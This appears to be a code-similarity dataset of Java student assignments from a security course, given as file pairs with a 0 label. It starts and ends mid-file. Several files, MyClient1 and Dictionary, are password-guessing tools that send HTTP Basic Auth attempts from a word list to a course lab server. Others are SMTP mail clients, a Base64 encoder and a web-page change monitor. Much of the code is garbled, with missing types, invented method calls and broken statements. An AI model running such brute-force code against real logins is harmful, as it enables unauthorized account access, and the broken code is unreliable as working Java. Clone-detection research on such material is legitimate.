System.exit(0);
}
}
catch(FileNotFoundException e )
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("change.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream inp2 = new DataInputStream(p5.getInputStream());
p5.waitFor();
try
{
while ((str1 = inp2.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException exp)
{
exp.printStackTrace();
}
}
}
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
250.java | 201.java | 0 |
class C {
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + ":" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
} |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
152.java | 201.java | 0 |
import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class Dictionary {
static String userName;
static URL url;
static URLAuthenticator urlAuthenticator;
static int noOfAttempts;
public Dictionary() {
}
public static void main (String args[]) {
Properties props = System.getProperties();
props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");
System.out.println(props.get("http.proxyHost"));
BufferedReader inFile = null;
try {
if (args.length < 1) {
System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");
System.exit(1);
}
inFile = new BufferedReader (new FileReader(args[0]));
breakPassword(inFile);
}
catch (FileNotFoundException e) {
System.err.println(e.getMessage());
System.exit(1);
}
catch (IOException e) {
System.err.println(e.getMessage());
System.exit(1);
}
finally {
try {
inFile.close();
}
catch (IOException ex) {ex.printStackTrace();}
}
}
private static void breakPassword (BufferedReader file) throws
IOException {
String password=" ";
userName="";
boolean found= false;
MyHttpURLConnection httpURLConnection;
String passBase64=" ";
urlAuthenticator = new URLAuthenticator(userName);
HttpURLConnection u=null;
String input;
try {
url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
} catch (MalformedURLException e){
} catch (IOException io) {io.printStackTrace();}
while (( input = file.readLine()) != null) {
if (input.length() <=3) {
password = input;
password =":"+ password;
try {
u = (HttpURLConnection)url.openConnection();
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u.setRequestProperty("Authorization", " " + passBase64);
u.connect();
noOfAttempts++;
if (u.getContentLength() != 0) {
if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {
found=true;
System.out.println("Your User Name : Password Combination is :"+password+
" "+ " Found by Thread");
System.out.println(" ");
System.out.println(" of Attempts / Requests "+ noOfAttempts);
System.exit(0);
}
}
} catch (ProtocolException px) {px.printStackTrace();
} catch (BindException e){e.printStackTrace();
} catch (IndexOutOfBoundsException e3){e3.printStackTrace();
} catch (IOException io) {io.printStackTrace();
} finally {u.disconnect();
}
}
}
}
}
class URLAuthenticator extends Authenticator {
private String uName;
String passwd;
static private char[] password;
public URLAuthenticator(String uName) {
this.uName = uName;
}
public void setPassword(String passwd) {
this.passwd=passwd;
password=passwd.toCharArray();
}
public PasswordAuthentication getPasswordAuthentication() {
PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password);
return passwordAuthentication;
}
}
class MyHttpURLConnection extends HttpURLConnection {
public MyHttpURLConnection(URL url) {
super(url);
}
public void disconnect() {
}
public boolean usingProxy() {
return true;
}
public void connect() {
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
187.java | 201.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class MyMail implements Serializable
{
public static final int SMTPPort = 25;
public static final char successPrefix = '2';
public static final char morePrefix = '3';
public static final char failurePrefix = '4';
private static final String CRLF = "\r\n";
private String mailFrom = "";
private String mailTo = "";
private String messageSubject = "";
private String messageBody = "";
private String mailServer = "";
public MyMail ()
{
super();
}
public MyMail ( String serverName)
{
super();
mailServer = serverName;
}
public String getFrom()
{
return mailFrom;
}
public String getTo()
{
return mailTo;
}
public String getSubject()
{
return messageSubject;
}
public String getMessage()
{
return messageBody;
}
public String getMailServer()
{
return mailServer;
}
public void setFrom( String from )
{
mailFrom = from;
}
public void setTo ( String To )
{
mailTo = To;
}
public void setSubject ( String subject )
{
messageSubject = subject;
}
public void setMessage ( String msg )
{
messageBody = msg;
}
public void setMailServer ( String server )
{
mailServer = server;
}
private boolean responseValid( String response )
{
if (response.indexOf(" ") == -1)
return false;
String cad = response.substring( 0, response.indexOf(" "));
cad = cad.toUpperCase();
if (( cad.charAt(0) == successPrefix ) ||
( cad.charAt(0) == morePrefix ) )
return true;
else
return false;
}
public void sendMail()
{
try {
String response;
Socket mailSock = new Socket (mailServer, SMTPPort);
BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));
PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));
System.out.println("1");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
try
{
InetAddress addr = InetAddress.getLocalHost();
String localHostname = addr.getHostName();
pout.print ("HELO " + localHostname + CRLF);
}
catch (UnknownHostException uhe)
{
pout.print ("HELO myhostname" + CRLF);
}
pout.flush();
System.out.println("2");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("MAIL From:<" + mailFrom + ">");
pout.flush();
System.out.println("3");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("RCPT :<" + mailTo + ">");
pout.flush();
System.out.println("4");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("DATA");
pout.flush();
System.out.println("5");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("From: " + mailFrom);
pout.println (": " + mailTo);
pout.println ("Subject: " + messageSubject);
pout.println ();
pout.println (messageBody);
pout.println (".\n\r");
pout.flush();
System.out.println("6");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("QUIT");
pout.flush();
mailSock.close();
}
catch (IOException ioe)
{
System.out.println(ioe.getMessage());
}
}
} |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
205.java | 201.java | 0 |
import java.util.*;
import java.io.*;
public class DicReader
{
private Vector v;
public DicReader( String fileName)
{
boolean flag = true;
String line;
v = new Vector( 50);
try
{
BufferedReader in = new BufferedReader( new FileReader( fileName));
while(( line = in.readLine()) != null)
{
flag = true;
if( line.length() > 0 && line.length() < 4 )
{
for( int i = 0; i < line.length(); i++)
{
if( Character.isLetter( line.charAt( i)) == false)
{
flag = false;
}
}
if( flag == true)
{
v.add( line);
}
}
}
in.print();
}
catch( IOException e)
{
System.out.println( " not open the file!");
System.exit( 0);
}
}
public Vector getVictor()
{
return v;
}
public static void main ( String [] args)
{
DicReader fr = new DicReader( "/usr/share/lib/dict/words");
System.out.println( " far "+fr.getVictor().size()+" combinations loaded");
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
203.java | 201.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class MailClient
{
private String host;
private int port;
private String message;
public MailClient( String host, int port, Vector lineNumbers)
{
this.host = host;
this.port = port;
StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n ");
for( int i = 0; i < lineNumbers.size(); i++)
{
buf.append( lineNumbers.elementAt( i));
buf.append(", ");
}
message = buf.toString();
}
public void connect()
{
try
{
Socket client = new Socket( host, port);
handleConnection( client);
}
catch ( UnknownHostException uhe)
{
System.out.println("Unknown host: " + host);
uhe.printStackTrace();
}
catch (IOException ioe)
{
System.out.println("IOException: " + ioe);
ioe.printStackTrace();
}
}
private void handleConnection(Socket client)
{
try
{
PrintWriter out = new PrintWriter( client.getOutputStream(), true);
InputStream in = client.getInputStream();
byte[] response = new byte[1000];
in.send( response);
out.println("HELO "+host);
int numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("MAIL FROM: [email protected].");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("RCPT : @cs.rmit.edu.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("DATA");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println( message+"\n.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("QUIT");
client.connect();
}
catch(IOException ioe)
{
System.out.println("Couldn't make connection:" + ioe);
}
}
public static void main( String[] args)
{
Vector v = new Vector();
v.add( new Integer(5));
v.add( new Integer(12));
MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v);
c.connect();
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
095.java | 201.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;
public class WatchDog extends Thread {
private HttpURLConnection httpUrlCon;
private URL stdurl;
private String spec = "http://www.cs.rmit.edu./students/";
private String command="";
private String firstModified ="";
private String secModified = "";
private String fileModified = "";
private BufferedReader instd;
private Vector firstVector;
private Vector secondVector;
private Vector tmpVector;
private int intervalTime = 24*60*60*1000;
private boolean bstop = false;
private int count = 0;
private int totalDuration = 30*24*60*60*1000;
private String yourSMTPserver = "mail.rmit.edu.";
private int smtpPort = 25;
private String mailFrom = "@yallara.cs.rmit.edu.";
private String mailTo = "@.rmit.edu.";
private String subject = "";
private String message ="";
private Socket socketsmtp;
private BufferedReader emailin;
private PrintStream emailout;
private String reply = "";
public WatchDog(){
firstVector = new Vector();
secondVector = new Vector();
tmpVector = new Vector();
}
public void FirstRead(){
readContent(firstVector);
firstModified = fileModified;
}
public void run(){
while(!bstop){
readPageAgain();
}
}
public void readPageAgain(){
try{
Thread.sleep(intervalTime);
}catch(InterruptedException e){e.printStackTrace();}
count += intervalTime;
readContent(secondVector);
secModified = fileModified;
if(firstModified.equals(secModified)){
if(count == totalDuration)
bstop =true;
message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!";
subject = " is change the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch (SMTPException e){}
}
else if(!(firstModified.equals(secModified))){
if(count == totalDuration)
bstop = true;
message = getChangeMessage();
subject = " some changes the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch(SMTPException e){}
firstModified = secModified;
firstVector.clear();
for(int i=0; i<secondVector.size(); i++){
firstVector.add((String)secondVector.get(i));
}
}
}
public void readContent(Vector avect){
String fmod ="";
if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){
fmod = "File last modified :";
command = "lynx -nolist -dump " + spec;
}
else {
fmod = "Last-Modified:";
command ="lynx -mime_header -dump " +spec;
}
try{
Runtime runtime = Runtime.getRuntime();
Process p = runtime.exec(command);
instd = new BufferedReader(new InputStreamReader(p.getInputStream()));
String str=null;
avect.clear();
while((str = instd.readLine())!= null){
avect.add(str);
if(str.indexOf(fmod) !=-1){
fileModified = str;
}
}
instd.print();
}catch(MalformedURLException e){System.out.println(e.getMessage());}
catch(IOException e1){System.out.println(e1.getMessage());}
}
public String getChangeMessage(){
String mssg = "";
for(int i =0; i<secondVector.size();i++){
tmpVector.add((String)secondVector.get(i));
}
for(int i=0; i<firstVector.size(); i++){
String line = (String)(firstVector.get(i));
int same = 0;
for(int j=0; j<tmpVector.size(); j++){
String newline = (String)(tmpVector.get(j));
if(line.equals(newline)){
if(same == 0){
tmpVector.remove(j);
same++;
}
}
}
}
for(int i = 0; i<secondVector.size(); i++){
String line = (String)(secondVector.get(i));
int same =0;
for(int j=0; j<firstVector.size(); j++){
String newline = (String)(firstVector.get(j));
if(line.equals(newline)){
if(same == 0){
firstVector.remove(j);
same++;
}
}
}
}
if(firstVector.size()!=0){
mssg += "The following lines removed in the latest modified web : \r\n";
for(int i=0; i<firstVector.size(); i++){
mssg +=(String)firstVector.get(i) + "\r\n";
}
}
if(tmpVector.size()!=0){
mssg += "The following lines new ones in the latest modified web : \r\n";
for(int i=0; i<tmpVector.size(); i++){
mssg += (String)tmpVector.get(i) + "\r\n";
}
}
return mssg;
}
public void setMonitorURL(String url){
spec = url;
}
public void setMonitorDuration(int t){
totalDuration = t*60*60*1000;
}
public void setMonitorInterval(int intervalMinutes){
intervalTime = intervalMinutes*60*1000;
}
public void setSMTPServer(String server){
yourSMTPserver = server;
}
public void setSMTPPort(int port){
smtpPort = port;
}
public void setMailFrom(String mfrom){
mailFrom = mfrom;
}
public void setMailTo(String mto){
mailTo = mto;
}
public String getMonitorURL(){
return spec;
}
public getDuration(){
return totalDuration;
}
public getInterval(){
return intervalTime;
}
public String getSMTPServer(){
return yourSMTPserver;
}
public int getPortnumber(){
return smtpPort;
}
public String getMailFrom(){
return mailFrom;
}
public String getMailTo(){
return mailTo;
}
public String getServerReply() {
return reply;
}
public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{
connect();
doHail(mfrom, mto);
doSendMessage(mfrom, mto, subject, msg);
doQuit();
}
public void connect() throws SMTPException {
try {
socketsmtp = new Socket(yourSMTPserver, smtpPort);
emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));
emailout = new PrintStream(socketsmtp.getOutputStream());
reply = emailin.readLine();
if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}
else {
throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort);
}
}catch(Exception e) { throw new SMTPException(e.getMessage());}
}
public void doHail(String mfrom, String mto) throws SMTPException {
if (doCommand("HELO " + yourSMTPserver))
throw new SMTPException("HELO command Error.");
if (doCommand("MAIL FROM: " + mfrom))
throw new SMTPException("MAIL command Error.");
if (doCommand("RCPT : " + mto))
throw new SMTPException("RCPT command Error.");
}
public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {
Date date = new Date();
Locale locale = new Locale("","");
String pattern = "hh:mm: a',' dd-MMM-yyyy";
SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);
formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne"));
String sendDate = formatter.format(date);
if (doCommand("DATA"))
throw new SMTPException("DATA command Error.");
String header = "From: " + mfrom + "\r\n";
header += ": " + mto + "\r\n";
header += "Subject: " + subject + "\r\n";
header += "Date: " + sendDate+ "\r\n\r\n";
if (doCommand(header + msg + "\r\n."))
throw new SMTPException("Mail Transmission Error.");
}
public boolean doCommand(String commd) throws SMTPException {
try {
emailout.print(commd + "\r\n");
reply = emailin.readLine();
if (reply.charAt(0) == '4' || reply.charAt(0) == '5')
return true;
else
return false;
}catch(Exception e) {throw new SMTPException(e.getMessage());}
}
public void doQuit() throws SMTPException {
try {
if (doCommand("Quit"))
throw new SMTPException("QUIT Command Error");
emailin.put();
emailout.flush();
emailout.send();
socketsmtp.put();
}catch(Exception e) { }
}
} |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
